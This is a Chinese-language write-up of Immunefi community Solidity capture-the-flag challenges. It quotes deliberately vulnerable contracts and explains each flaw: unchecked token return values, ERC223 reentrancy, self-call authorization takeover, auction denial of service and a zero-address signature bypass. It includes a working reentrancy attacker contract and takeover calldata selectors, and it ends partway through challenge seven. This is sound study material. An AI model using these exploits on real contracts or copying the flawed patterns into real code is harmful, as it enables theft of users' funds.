Immunefi-community-challenges

Immunefi-community-challenges

immunefi写的一个挑战,持续更新中,就来写写WP

挑战一

这个挑战涉及两个合约 主合约 StokenERC20合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function enter(uint256 amount) public {
require(amount >= 10, "minimum is 10");
token.transferFrom(msg.sender, address(this), amount);
balances[msg.sender] += amount;
emit Transfer(msg.sender, address(this), amount);
}

function exit(uint256 amount) public {
uint256 getAmount = balances[msg.sender];
require(getAmount >= amount, "user doesn't have enough funds deposited");
balances[msg.sender] -= amount;
payable(msg.sender).transfer(amount);
emit NativeTransfer(msg.sender, amount);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
function transfer(address _to, uint256 _value) public override returns (bool) {
unchecked {
if (balanceOf[msg.sender] >= _value && balanceOf[_to] + _value >= balanceOf[_to]) {
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
}

function transferFrom(
address _from,
address _to,
uint256 _value
) public override returns (bool) {
unchecked {
if (
balanceOf[_from] >= _value &&
allowance[_from][msg.sender] >= _value &&
balanceOf[_to] + _value >= balanceOf[_to]
) {
balanceOf[_to] += _value;
balanceOf[_from] -= _value;
emit Transfer(_from, _to, _value);
allowance[_from][msg.sender] -= _value;
emit Approval(_from, msg.sender, allowance[_from][msg.sender]);
return true;
} else {
return false;
}
}
}

对token的方法进行调用,但是对于返回值的处理不正确,即便返回false,enter和exit函数也会继续执行,这就可以实现任意token铸造,或者提取合约的全部ETH

挑战二

主合约 ERC233合约

1
2
3
4
5
6
7
8
9
10
11
12
13
function unstake(uint256 amount) public {
uint256 userBal = balances[msg.sender];
require(userBal >= amount, "Staking: not enough deposited funds");
uint256 stakedDiff = block.timestamp - stakeDuration[msg.sender];
require(stakedDiff >= 604800, "Staking: wait till 7 days elapsed");
if (!rewardClaimed[msg.sender]) {
payable(msg.sender).transfer(reward);
rewardClaimed[msg.sender] = true;
}
token.transfer(msg.sender, amount);
balances[msg.sender] = userBal - amount;
emit Unstaked(msg.sender, amount);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
function transfer(address _to, uint256 _value) public override returns (bool success) {
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
bytes memory _empty = hex"00000000";
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
if (Address.isContract(_to)) {
IERC223Recipient(_to).tokenReceived(msg.sender, _value, _empty);
}
emit Transfer(msg.sender, _to, _value);
emit TransferData(_empty);
return true;
}
1
IERC223Recipient(_to).tokenReceived(msg.sender, _value, _empty);

通过unstake调用token得transfer,这里的to就是unstake中的msg.sender,如果通过了Address.isContract(_to) 判断,就可以调用我们自己定义的tokenReceived方法,实现重复提取staking合约在Token 合约上的token,直至耗尽

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
contract ERC223Reentrant is IERC223Recipient {
IERC223 public token;
IStaking public vulnContract;
uint256 public depositedFunds;

constructor(address _token, address _vulnContract) {
token = IERC223(_token);
vulnContract = IStaking(_vulnContract);
}

receive() external payable {}

function enter(uint256 _amount) public {
depositedFunds = vulnContract.balanceOf(address(this)) + _amount;
token.transfer(address(vulnContract), _amount);
require(
vulnContract.balanceOf(address(this)) == depositedFunds,
"ERC223Reentrant: Something wrong with deposits"
);
}

function exit() public {
uint256 balBefore = vulnContract.balanceOf(address(this));
vulnContract.unstake(balBefore);
}

function tokenReceived(
address _from,
uint256 _value,
bytes memory _data
) public override {
uint256 balance = token.balanceOf(address(vulnContract));
if (balance > 0) {
vulnContract.unstake(depositedFunds);
}
}
}

挑战三

主合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
modifier onlyAuth() {
require(msg.sender == owner || msg.sender == address(this), "Takeover: not allowed");
_;
}
function changeOwner(address newOwner) external onlyAuth {
require(newOwner != address(0), "Takeover: no address(0)");
require(newOwner != owner, "Takeover: no current owner");
emit OwnershipChanged(owner, newOwner);
owner = newOwner;
}
function staticall(
address target,
bytes memory payload,
string memory errorMessage
) external returns (bytes memory) {
require(isContract(target), "Takeover: call to non-contract");
(bool success, bytes memory returnData) = address(target).call(payload);
return verifyCallResult(success, returnData, errorMessage);
}
1
(bool success, bytes memory returnData) = address(target).call(payload);

当合约执行到这一行的时候,此时的msg.sender会变成address(this),我们就可以通过onlyAuth的判断,达到调用changeOwner函数改变owner的目的。payload为0xa6f9dae1+address就可以,剩下的就是withdrawall函数(0x853828b6)

挑战四

主合约 MockERC721合约

1
2
3
4
5
6
7
8
9
10
if (bidInfo[_id].status == true) {
if (bidInfo[_id].bid < msg.value) {
payable(bidInfo[_id].bidder).transfer(bidInfo[_id].bid);
bidInfo[_id] = Bid({bidder: msg.sender, bid: msg.value, status: true});
} else {
revert("Auction: last bidder amount is greater");
}
} else {
bidInfo[_id] = Bid({bidder: msg.sender, bid: msg.value, status: true});
}

当有人出价高于当前拍卖价格的时候,将退还当前拍卖者的资金,transfer函数在返回false的时候会回滚,不再继续向下执行。就可以通过设定恶意的合约,导致transfer失败。例如:

1
2
3
4
5
fallback() external{}  //不接收ETH
receive() external payable {
require(msg.value>100 ether) //设定必定revert的条件
}
//直接两种函数都不写

挑战五

主合约 ExpensiveToken MockERC777

暂时没搞懂

挑战六

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
function onboardWithSig(
address tokenAddr,
bytes32 msgHash,
string memory description,
bytes memory signature
) external {
require(!onboardedApps[tokenAddr], "KYC: already onboarded");
require(tokenAddr != address(0), "KYC: token address must not be empty");
bytes32 payloadHash = keccak256(abi.encode(msgHash, description));
bytes32 messageHash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", payloadHash));
_checkWhitelisted(tokenAddr, messageHash, signature);
onboardedApps[tokenAddr] = true;
}
function _checkWhitelisted(
address _tokenAddr,
bytes32 _messageHash,
bytes memory _signature
) internal view {
(bool status, address signer) = recoverSigner(_messageHash, _signature);
if (signer == address(0) && !status) {
revert("KYC: signature is malformed");
}
require(signer == whitelistedOwners[_tokenAddr], "KYC: only owner can onboard");
}
function recoverSigner(bytes32 hash, bytes memory signature) internal pure returns (bool, address) {
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;

assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}

address recovered = ecrecover(hash, v, r, s);
return (true, recovered);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;

assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}

bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
uint8 v = uint8((uint256(vs) >> 255) + 27);

address recovered = ecrecover(hash, v, r, s);
return (true, recovered);
} else {
return (false, address(0));
}
}
}

onboardWithSig-> _checkWhitelisted->recoverSigner,最致命的在这里面

1
2
address recovered = ecrecover(hash, v, r, s);
return (true, recovered);

ecrecover函数校验失败会返回一个空地址即零地址,但是其返回true,就使得我们可以通过以下的判断

1
2
3
if (signer == address(0) && !status) {
revert("KYC: signature is malformed");
}
1
2
3
4
5
6
function applyFor(address tokenAddr) external {
require(tokenAddr != address(0), "KYC: token address must not be empty");
require(IKYCApp(tokenAddr).owner() == msg.sender, "KYC: only owner of token can apply");
whitelistedOwners[tokenAddr] = msg.sender;
}
require(signer == whitelistedOwners[_tokenAddr], "KYC: only owner can onboard");

当某一个IKYCApp未主动调用applyFor函数时,whitelistedOwners[_tokenAddr]==0x0,由于此时的signer也等于0x0,所以我们可以通过判断。换句话说,whitelistedOwners[_tokenAddr]最初默认zero地址为白名单,存在隐患。

挑战七

随机数问题
RareNFT contract allow users to call the mint function with send 1 ETH to mint a NFT